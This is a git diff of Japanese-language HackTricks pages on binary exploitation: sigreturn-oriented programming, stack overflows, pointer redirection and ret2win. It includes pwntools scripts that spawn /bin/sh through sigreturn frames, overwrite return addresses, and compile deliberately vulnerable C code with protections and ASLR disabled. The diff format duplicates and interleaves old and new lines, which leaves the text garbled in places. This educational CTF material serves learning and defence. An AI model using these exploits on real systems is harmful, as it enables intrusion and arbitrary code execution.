* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
{% endhint %}
## Pwntoolsの例 ## Pwntoolsの例
この例は、脆弱性のあるバイナリを作成し、それを悪用しています。バイナリは **スタックに読み込み** を行い、その後 **`sigreturn`** を呼び出します。 この例は、脆弱なバイナリを作成し、それを悪用します。バイナリは**スタックに読み込み**、その後**`sigreturn`**を呼び出します:
```python ```python
from pwn import * from pwn import *
@ -79,14 +80,14 @@ do_stuff(2);
return 0; return 0;
} }
``` ```
コンパイル方法: コンパイルするには:
```bash ```bash
clang -o srop srop.c -fno-stack-protector clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
このエクスプロイトは、**`sigreturn`** への呼び出しに戻り、スタックを準備して **`execve`** を呼び出し、`/bin/sh` へのポインタを渡すようにボフを悪用します。 このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用意します。
```python ```python
from pwn import * from pwn import *
@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## sigreturnなしのbof例 ## bofの例sigreturnなし
### コード ### コード
```c ```c
@ -144,11 +145,11 @@ return 0;
``` ```
## Exploit ## Exploit
**`vdso`** セクションでは、オフセット **`0x7b0`** **`sigreturn`** を呼び出すことができます: セクション **`vdso`** では、オフセット **`0x7b0`** **`sigreturn`** への呼び出しを見つけることができます:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
したがって、もしリークされた場合、バイナリがそれをロードしていない場合でも、**このアドレスを使用して `sigreturn` にアクセスすることが可能**です: したがって、漏洩した場合、バイナリがそれをロードしていない場合は、このアドレスを **`sigreturn`** にアクセスするために使用することが可能です:
```python ```python
from pwn import * from pwn import *
@ -177,28 +178,29 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
以下は、`vdso` に関する詳細情報を確認してください: より多くの情報は vdso については以下を確認してください:
{% content-ref url="../ret2vdso.md" %} {% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md) [ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %} {% endcontent-ref %}
そして、`/bin/sh` のアドレスをバイパスするために、それを指す複数の環境変数を作成することができます。詳細はこちら: また、`/bin/sh` のアドレスをバイパスするために、それを指すいくつかの環境変数を作成することができます。詳細については:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %} {% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/) [aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# スタックオーバーフロー # スタックオーバーフロー
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
</details> </details>
{% endhint %}
## スタックオーバーフローとは ## スタックオーバーフローとは
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたデータよりも多くのデータを書き込むと発生する脆弱性です。この余分なデータは、**隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの混乱、および悪意のあるコードの実行を引き起こす可能性があります。この問題は、入力に対して境界チェックを実行しない安全でない関数の使用によってしばしば発生します。 **スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
この上書きの主な問題は、**保存された命令ポインタEIP/RIP**および**保存されたベースポインタEBP/RBP**が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はこれらを上書きして**プログラムの実行フローを制御**することができます。 この上書きの主な問題は、**保存された命令ポインタEIP/RIP****保存されたベースポインタEBP/RBP**が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
この脆弱性は通常、関数が**スタック内に割り当てられた量よりも多くのバイトをコピー**するために発生します。そのため、スタックの他の部分を上書きできます。 この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ことによって発生し、他のスタックの部分を上書きできるようになります。
の脆弱性に対して脆弱な一般的な関数には、**`strcpy`、`strcat`、`sprintf`、`gets`**などがあります。また、**`fgets`**、**`read`、`memcpy`**などの長さ引数を取る関数は、指定された長さが割り当てられた長さよりも大きい場合に脆弱な方法で使用される可能性があります。 れに脆弱な一般的な関数には、**`strcpy`、`strcat`、`sprintf`、`gets`**などがあります。また、**`fgets`**、**`read`**、および**`memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
たとえば、次の関数は脆弱になる可能性があります: 例えば、以下の関数が脆弱である可能性があります:
```c ```c
void vulnerable() { void vulnerable() {
char buffer[128]; char buffer[128];
@ -35,11 +36,11 @@ printf("You entered: %s\n", buffer);
``` ```
### スタックオーバーフローのオフセットを見つける ### スタックオーバーフローのオフセットを見つける
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力を与えることです(例:`python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしました** と示す `Segmentation Fault` が発生することを期待することです スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力`A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault` を期待します**
さらに、スタックオーバーフローの脆弱性が見つかったら、**リターンアドレスを上書きできるまでのオフセットを見つける必要があります**。これには通常、**De Bruijn sequence** が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列が与えられた場合、**すべての可能な長さ _n_ の部分列が連続した部分列として正確に一度だけ現れる** 循環列です。 さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセットを見つける**必要があります。そのためには、通常 **De Bruijn シーケンス** が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ \_n**\_\*\* のすべての可能な部分列がちょうど一度だけ**連続した部分列として現れる**サイクリックシーケンスです。
れにより、EIP を制御するために必要なオフセットを手動で特定する必要がなくなり、これらのシーケンスの1つをパディングとして使用し、それを上書きしたバイトのオフセットを見つけることができます。 の方法では、EIP を制御するために必要なオフセットを手動で特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることができます。
これには **pwntools** を使用することができます: これには **pwntools** を使用することができます:
```python ```python
@ -62,14 +63,14 @@ pattern search $rsp #Search the offset given the content of $rsp
``` ```
## スタックオーバーフローの悪用 ## スタックオーバーフローの悪用
オーバーフロー中(オーバーフローサイズが十分大きいと仮定)、スタック内のローカル変数の値を**上書き**することができます。保存された**EBP/RBPとEIP/RIPまたはそれ以上**に到達するまでです。\ オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIPまたはそれ以上**に到達します。\
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更**して、関数が終了するときに**制御フローがユーザーが指定した場所にリダイレクト**されるようにすることです。 この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。
ただし、他のシナリオでは、単にスタック内のいくつかの変数の値を**上書き**するだけで、悪用が可能になることがあります簡単なCTFチャレンジなど)。 しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります簡単なCTFチャレンジのように)。
### Ret2win ### Ret2win
この種のCTFチャレンジでは、バイナリ内に**呼び出されない関数**があり、**それを呼び出して勝利する必要がある**ことがあります。これらのチャレンジでは、**戻りアドレスを上書きするオフセット**を見つけ、呼び出す関数のアドレスを見つける必要があります(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になっている可能性があります)。脆弱な関数が戻ると、隠された関数が呼び出されます。 この種のCTFチャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするためのオフセット**を見つけ、呼び出す**関数のアドレス**を見つけるだけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
{% content-ref url="ret2win/" %} {% content-ref url="ret2win/" %}
[ret2win](ret2win/) [ret2win](ret2win/)
@ -77,15 +78,15 @@ pattern search $rsp #Search the offset given the content of $rsp
### スタックシェルコード ### スタックシェルコード
このシナリオでは、攻撃者はスタックにシェルコードを配置し、制御可能なEIP/RIPを悪用してシェルコードにジャンプし、任意のコードを実行できます。 このシナリオでは、攻撃者はスタックにシェルコードを配置し、制御されたEIP/RIPを悪用してシェルコードにジャンプし、任意のコードを実行することができます
{% content-ref url="stack-shellcode/" %} {% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/) [stack-shellcode](stack-shellcode/)
{% endcontent-ref %} {% endcontent-ref %}
### ROPおよびRet2...テクニック ### ROP & Ret2... テクニック
このテクニックは、前述のテクニックの主要な保護をバイパスするための基本的なフレームワークです:**実行可能スタックNXがない**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行することができる他のいくつかのテクニックret2lib、ret2syscallなど)を実行できます。 このテクニックは、前のテクニックに対する主要な保護を回避するための基本的なフレームワークです:**実行可能スタックなしNX**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニックret2lib、ret2syscall...)を実行することができます:
{% content-ref url="../rop-return-oriented-programing/" %} {% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/) [rop-return-oriented-programing](../rop-return-oriented-programing/)
@ -93,7 +94,7 @@ pattern search $rsp #Search the offset given the content of $rsp
## ヒープオーバーフロー ## ヒープオーバーフロー
オーバーフローが必ずしもスタックにあるとは限らず、**ヒープ**にあることもあります。例えば オーバーフローは常にスタック内で発生するわけではなく、例えば**ヒープ**内で発生することもあります
{% content-ref url="../libc-heap/heap-overflow.md" %} {% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md) [heap-overflow.md](../libc-heap/heap-overflow.md)
@ -101,8 +102,23 @@ pattern search $rsp #Search the offset given the content of $rsp
## 保護の種類 ## 保護の種類
脆弱性の悪用を防ぐためのいくつかの保護があります。詳細は以下を参照してください: 脆弱性の悪用を防ぐためのいくつかの保護があります。詳細は以下を確認してください:
{% content-ref url="../common-binary-protections-and-bypasses/" %} {% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# ポインターのリダイレクト # ポインタリダイレクティング
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする**.**
* **HackTricks****HackTricks Cloud** の github リポジトリに **PRを提出** して、あなたのハッキングテクニックを共有する。
</details> </details>
{% endhint %}
## 文字列ポインタ ## 文字列ポインタ
関数呼び出しがスタックにある文字列のアドレスを使用する場合、バッファオーバーフローを悪用して **このアドレスを上書き** し、バイナリ内の **異なる文字列のアドレスを入れる** ことが可能です。 関数呼び出しがスタックにある文字列のアドレスを使用する場合、バッファオーバーフローを悪用して**このアドレスを上書きし**、**バイナリ内の別の文字列のアドレスを置く**ことが可能です。
たとえば、**`system`** 関数呼び出しが **コマンドを実行するための文字列のアドレスを使用する場合**、攻撃者はスタックに **異なる文字列のアドレスを配置** し、 **`export PATH=.:$PATH`** を作成して、現在のディレクトリに新しい文字列の最初の文字の名前でスクリプトを作成することができます。これはバイナリによって実行されます。 例えば、**`system`**関数呼び出しが**コマンドを実行するために文字列のアドレスを使用する**場合、攻撃者は**スタックに別の文字列のアドレス**、**`export PATH=.:$PATH`**を置き、現在のディレクトリに**新しい文字列の最初の文字の名前のスクリプトを作成する**ことができます。これにより、バイナリによって実行されます。
これに関する **例** は以下で見つけることができます: 以下に**例**を示します:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32ビット、スタック内のフラグ文字列のアドレスを変更して `puts` によって出力されるようにする * 32ビット、スタック内のフラグ文字列のアドレスを変更して`puts`によって印刷されるようにします。
## 関数ポインタ ## 関数ポインタ
文字列ポインターと同様に、関数に適用されるが、スタックに呼び出される関数のアドレスが含まれている場合、それを **変更** することが可能です(たとえば **`system`** を呼び出すため)。 文字列ポインタと同様ですが、関数に適用されます。**スタックに呼び出される関数のアドレスが含まれている**場合、それを**変更する**ことが可能です(例:**`system`**を呼び出すために)。
これに関する例は以下で見つけることができます: 以下に例を示します:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
@ -38,16 +39,17 @@ HackTricks をサポートする他の方法:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする**.**
* **HackTricks****HackTricks Cloud** の github リポジトリに **PRを提出** して、あなたのハッキングテクニックを共有する。
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Ret2win # Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**Ret2win** チャレンジは、特に**バイナリエクスプロイテーション**を含む**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目標は、与えられたバイナリ内の脆弱性を悪用して、通常`win`、`flag`などと名付けられた特定の未呼び出し関数を実行することです。通常、この関数を実行すると、フラグや成功メッセージが表示されます。チャレンジは、通常、**スタック上の戻りアドレスを上書き**して、実行フローを目的の関数に誘導することを含みます。以下は、例を交えた詳細な説明です: **Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目的は、特定の未呼び出しの関数を実行するために、与えられたバイナリ内の脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
### Cの例 ### Cの例
脆弱性を持つ単純なCプログラムと、呼び出したい`win`関数があるとします 脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -39,19 +40,19 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
このプログラムをスタック保護を無効にして、**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます: このプログラムをスタック保護なしで、**ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-m32`: プログラムを32ビットバイナリとしてコンパイルすこれはオプションですが、CTFチャレンジで一般的です * `-m32`: プログラムを32ビットバイナリとしてコンパイルしまこれはオプションですが、CTFチャレンジで一般的です)。
* `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にす * `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。
* `-z execstack`: スタック上のコードの実行を許可す * `-z execstack`: スタック上のコードの実行を許可します。
* `-no-pie`: 位置独立実行可能ファイルを無効にして、`win` 関数のアドレスが変わらないようにする * `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします
* `-o vulnerable`: 出力ファイルの名前を `vulnerable` にす * `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。
### Pwntoolsを使用したPythonエクスプロイト ### Python Exploit using Pwntools
エクスプロイトでは、エクスプロイトスクリプトがバッファをオーバーフローさせ、リターンアドレスを `win` 関数のアドレスで上書きするペイロードを作成します。 エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークである**pwntools**を使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスを`win`関数のアドレスで上書きするペイロードを作成します。
```python ```python
from pwn import * from pwn import *
@ -71,61 +72,62 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
